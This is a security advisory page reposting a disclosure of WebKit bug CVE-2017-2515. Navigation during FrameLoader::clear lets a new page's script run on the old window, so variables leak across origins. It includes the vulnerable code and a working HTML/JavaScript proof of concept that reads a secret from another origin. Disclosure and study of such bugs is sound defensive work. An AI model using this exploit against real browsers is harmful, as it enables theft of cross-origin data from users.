WebKit FrameLoader::clear Variable Theft

2017.05.26
Credit: lokihardt
Risk: Low
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

WebKit: Stealing variables via page navigation in FrameLoader::clear CVE-2017-2515 void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView) { m_frame.editor().clear(); if (!m_needsClear) return; m_needsClear = false; if (m_frame.document()->pageCacheState() != Document::InPageCache) { ... m_frame.document()->prepareForDestruction(); <<-------- (a) if (hadLivingRenderTree) m_frame.document()->removeFocusedNodeOfSubtree(*m_frame.document()); } ... m_frame.setDocument(nullptr); <<------- (b) ... if (clearWindowProperties) m_frame.script().setDOMWindowForWindowShell(newDocument->domWindow()); <<------- (c) ... } FrameLoader::clear is called when page navigation is made and it does: 1. clear the old document at (b). 2. attach the new window object at (c). If a new page navigation is made at (a), the new window will not attached due to |m_needsClear| check. As a result, the new document's script will be execute on the old window object. PoC will reproduce to steal |secret_key| value from another origin(data:text/html,...). PoC: <body> Click anywhere. <script> function createURL(data, type = 'text/html') { return URL.createObjectURL(new Blob([data], {type: type})); } window.onclick = () => { window.onclick = null; let f = document.body.appendChild(document.createElement('iframe')); f.contentDocument.open(); f.contentDocument.onreadystatechange = () => { f.contentDocument.onreadystatechange = null; let g = f.contentDocument.appendChild(document.createElement('iframe')); g.contentDocument.open(); g.contentDocument.onreadystatechange = () => { g.contentDocument.onreadystatechange = null; f.contentWindow.__defineGetter__('navigator', function () { return {}; }); let a = f.contentDocument.createElement('a'); a.href = 'data:text/html,' + encodeURI(`<script>var secret_key = '23412341234';</scrip` + 't>'); a.click(); showModalDialog(createURL(` <script> let it = setInterval(() => { try { opener[0].frameElement.contentDocument.x; } catch (e) { clearInterval(it); window.close(); } }, 100); </scrip` + 't>')); alert('secret_key:' + f.contentWindow.secret_key); //showModalDialog('about:blank'); }; }; f.src = 'javascript:""'; } </script> </body> This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top